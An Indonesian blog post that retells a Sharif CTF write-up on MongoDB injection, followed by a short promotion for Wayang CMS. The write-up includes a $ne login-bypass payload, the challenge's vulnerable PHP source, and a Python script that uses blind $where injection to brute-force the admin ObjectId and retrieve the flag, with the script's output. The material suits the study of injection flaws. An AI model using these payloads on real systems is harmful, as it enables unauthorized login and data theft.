Share , Learn And Disscus

Mongo Db Injection | Sharif CTF | Indonesian Backtrack Gathering

ctf.sharif.edu kompetisi ctf internasional yang gk sengaja ane temuin di google dan menemukan challange mongodb injection + writeupnya yang sangat menarik dalam soal itu seperti ini instruksinya

login and find the flag

http://ctf.sharif.edu:25489

tampilan websitenya seperti ini  :

sharif14_beginning

 

ada form login dengan field username+password+captcha

pertama yang saya lakukan coba untuk view page source untuk mencari clue” , dan tidak ada   . kemudian coba untuk login menggunakan bypass sqli menggunakan ‘ OR ‘ = 1=1 ,dsb

favicon di website tersebut coba kita scan menggunakan exiftool

# exiftool favicon.png
[...]

File Name         : favicon.png
Directory         : .
File Size         : 2.6 kB
File Modification : 2014:09:23 12:59:18+02:00
File Permissions  : rw-r--r--
File Type         : PNG
MIME Type         : image/png

[...]

Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg

[...]

Menarik file png yang jadi favicon itu ternyata hasil conver dari file .svg , coba kita search file svg nya di google

sharif14_google_svg

 

dan :D kita mengetahui sekarang bahwa backend untuk database mereka bukan pakai MySQL/PgSQL tapi pakai MongoDB

karena kita sudah tau menggunakan MongoDB coba cari cara untuk menyerang MongoDB seperti ini

idontplaydarts.com – “Mongodb is vulnerable to SQL injection in PHP at least

Di website itu kita belajar bagaimana MongoDB + Php bekerja

$collection->find(array(
    "username" => $_GET['username'],
    "passwd" => $_GET['passwd']
));

Script di atas sama dengan

mysql_query("SELECT * FROM collection
    WHERE username=" . $_GET['username'] . ",
    AND passwd=" . $_GET['passwd'])

biasanya untuk bypass login form kita buat query selalu mengembalikan nilai true walaupun yang kita masukan username dan password salah seperti

$collection->find(array(
    "username" => "admin",
    "passwd" => array("$ne" => 1)
));

$ne adalah operator mongodb yang maksudnya != ( tidak sama dengan )
Sama Dengan

SELECT * FROM collection
WHERE username="admin",
AND passwd!=1

Dari 2 script di atas kita ketahui bahwa jika passwd != 1 maka nilai yang di kembalikan query (true) atau benar
karena password yang di input tidak benar . maka akan masuk ke dashboard admin

gunakan tamper data untuk mengirimkan post data

username=admin&password[$ne]=1&captcha=AXBYCZ

sesuaikan captcha dengan yang benar

selain dengan tamper data , juga bisa menggunakan inspect element atau firebug untuk bypass login

setelah login akan muncul dashboard seperti ini

panel

 

di panel admin ini di sediakan beberapa source code dari file seperti : login.php , init.php , api.php , panel.php

coba kita lihat ke login.php

<?php
/**
 * User: some one
 * Date: 8/25/14
 * Time: 11:03 AM
 */
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
    'username' => $username,
    'password' => $password
);

include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
    $_SESSION['time'] = intval(time() / 60);
    $_SESSION['count'] = 25;
}else{
    die('invalid captcha');
}

$user = $users_col->findOne($q);
if(is_null($user)){
    #header("Location: login-failed.html");
    die('invalid username or password');
}else{
    $_SESSION['id'] = $user['_id']->{'$id'};
    header("Location: panel.php");
    die();
}

kalau di script login.php kita bisa liat array nya dipisah

$q = array(
'username' => $username,
'password' => $password
);
$user = $users_col->findOne($q);

sama dengan

$collection->find(array(
    "username" => $_GET['username'],
    "passwd" => $_GET['passwd']
));

lanjut kita liat script init.php

<?php
/** 
 * User: some one
 * Date: 8/25/14
 * Time: 11:00 AM
 */

function generateRandomString($length = 10)
{
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $randomString;
}

$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$flag_col = $db->flag;
$user = $users_col->findOne(array('username' => 'admin'));
$flag = $flag_col->findOne();

// old codes
//$staffs = array('gholi','bobak','bijan','arash');
//
//foreach($staffs as $staff){
//    $users_col->insert(array(
//        'username' => $staff,
//        'role'=>'staff',
//        'password' => generateRandomString(20),
//    ));
//}

//$visitors = array('noone','bob','john','alice');
//
//foreach($visitors as $visitor){
//    $users_col->insert(array(
//        'username' => $visitor,
//        'role'=>'visitor',
//        'password' => generateRandomString(10),
//    ));
//}

if (is_null($user)) {
    $users_col->insert(array(
        'username' => 'admin',
        'role'=>'admin',
        'password' => generateRandomString(30),
    ));
}
if (is_null($flag)) {
    $flag_col->insert(array(
        'flag' => generateRandomString(30),
    ));
}
?>

penjelasannya di situ ada function random string untuk generate password,id,flag dan ada query insert flag sama insert admin dan init.php ini sepertinya yang akan diload pada setiap file karena koneksi mongodb di buka di script ini

trus coba kita liat script selanjutnya api.php

<?php
/**
 * User: some one
 * Date: 8/25/14
 * Time: 11:25 AM
 */
session_start();
if (is_null($_SESSION['id'])) {
    header("Location: index.html");
    die();
}
$ajax = false;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) AND strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
    $ajax = true;
}
if (!$ajax) {
    die();
}
$T = 60;
$N = 20;
$t = intval(time() / $T);
if ($_SESSION['time'] < $t) {
    $_SESSION['time'] = intval(time() / $T);
    $_SESSION['count'] = $N;
} else {
    if ($_SESSION['count'] <= 0) {
        header('Content-Type: application/json');
        echo json_encode(array("You are so fast. Please slow down. And wait for one minute."));
        die();
    }
    $_SESSION['count'] = $_SESSION['count'] - 1;
}
$q = '';
if (isset($_GET['q'])) {
    $q = $_GET['q'];
}
if ($q == 'users') {
    $role = $_GET['role'];
    $m = new MongoClient();
    $db = $m->ctf5;
    $users_col = $db->users;
    $users = $users_col->find(array(
        '$where' => "this.role == '$role'"
    ));
    $names = array();
    foreach ($users as $user) {
        $names[] = $user['username'];
    }
    header('Content-Type: application/json');
    echo json_encode($names);
}
if ($q == 'flag') {
    $id = $_GET['id'];
    $m = new MongoClient();
    $db = $m->ctf5;
    $flag_col = $db->flag;
    $flag = $flag_col->findOne(array('_id' => new MongoId($id)));
    var_dump($flag);
}
?>

fle api.php hanya bisa di buka ketika kita sudah login sehingga $_Session[id] != 0 , dan untuk mengakses file ini kita harus mengganti header dengan XMLHttpRequest

Get parameter Q di gunakan untuk 2 value :

– Untuk mendapatkan user dengan role yang di spesifikasaikan di GET role

-Untuk mendapatkan flag dengan memasukan id dari role admin

api.php?q=flag&id=

Didalam File init.php admin user dan flag di insert pada waktu yang sama di mongodb kita dapat menganggap $id mereka berturut" jika kita bisa mendapatkan $id admin user maka kita akan mudah untuk mendapatkan $id flag

Kesimpulannya kita mencari : - $id dari admin user , - masukan $id untuk dapatkan flag

<?php
if ($q == 'users') {
    $role = $_GET['role'];
    $m = new MongoClient();
    $db = $m->ctf5;
    $users_col = $db->users;
    $users = $users_col->find(array(
        '$where' => "this.role == '$role'"
    ));
    $names = array();
    foreach ($users as $user) {
        $names[] = $user['username'];
    }
    header('Content-Type: application/json');
    echo json_encode($names);
}
?>

 

kita akan melakukan blind mongodb injection untuk menebak dari $id dan memanfaatkan oracle response

api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1

x dan y adalah yang akan di rubah untuk bruteforce .. ketika response dari oracle == 9 maka digit itu benar kemudian lanjut ke digit selanjutnya

disini pakai python untuk mengimplementasikan attacknya

#!/usr/bin/python

import urllib
import requests
import time

baseUrl = "http://ctf.sharif.edu:25489/api.php?q=users&role="
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = dict(PHPSESSID='amuedn0ra3fhj0diatdb4kkkt1')
admin_id = ''

# Guessing admin id
for c in range(0, 24):
    print("[*] Guessing character "+str(c + 1))
    for x in range(0x10):
        letter = format(x,'x')
        query = "admin' && (this._id.str[" + str(c) + "]=='" + letter + "') && '1'=='1"
        url = baseUrl + urllib.quote_plus(query)
        response = requests.get(url, headers = headers, cookies=cookies)
        if len(response.text)==9:
            admin_id += format(x, 'x')
            print("    + Admin id guessed: " + admin_id)
            print("")
            break

        time.sleep(1)

# Getting the flag
print("[*] Go for the flag!")
flag_id = format(int(admin_id, 16) + 1, 'x')
url = "http://ctf.sharif.edu:25489/api.php?q=flag&id="+flag_id
response = requests.get(url, headers = headers, cookies=cookies)
print response.text
# ./sharif14_pwnit.py
[*] Guessing character 1
    + Admin id guessed: 5

[*] Guessing character 2
    + Admin id guessed: 53

[...]

[*] Guessing character 23
    + Admin id guessed: 53fadd3d7137a495319e10f

[*] Guessing character 24
    + Admin id guessed: 53fadd3d7137a495319e10f3


[*] Go for the flag!

array(2) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "53fadd3d7137a495319e10f4"
  }
  ["flag"]=>
  string(30) "9fmTOOdbm1A76o40Bb9N3wpqvozdJI"
}

Source : http://blog.dul.ac/2014/10/SHARIF_QUALS_14/

Wayang CMS – Alpha-1


Wayang CMS , pasti orang indonesia sudah tidak asing lagi dengan kata Wayang karena ingin mengingatkan agar wayang ini tetap di ingat olehgenerasi-generasi penerus indonesia maka di buatlah CMS dengan nama Wayang CMS

Wayang CMS di buat opensource siapapun,dimanapun,kapan pun bisa ikut turut berpartisipasi untuk mengembangkan Cms ini  Ini Sedikit Penampakan Pada Release “Alpha-1″

for Installation:
for Dashboard:

Agar Wayang CMS ini bisa bersaing dengan CMS” yang telah ada , kami butuh dukungan untuk mengembangkan bersama

Your feedback it’s very important for us

Stay In Touch
Website :Wayang CMS Website
Facebook : Wayang CMS
Twitter : Wayang CMS

for Download Zip:
for Github:
for BitBucket:
1 of 9
123456789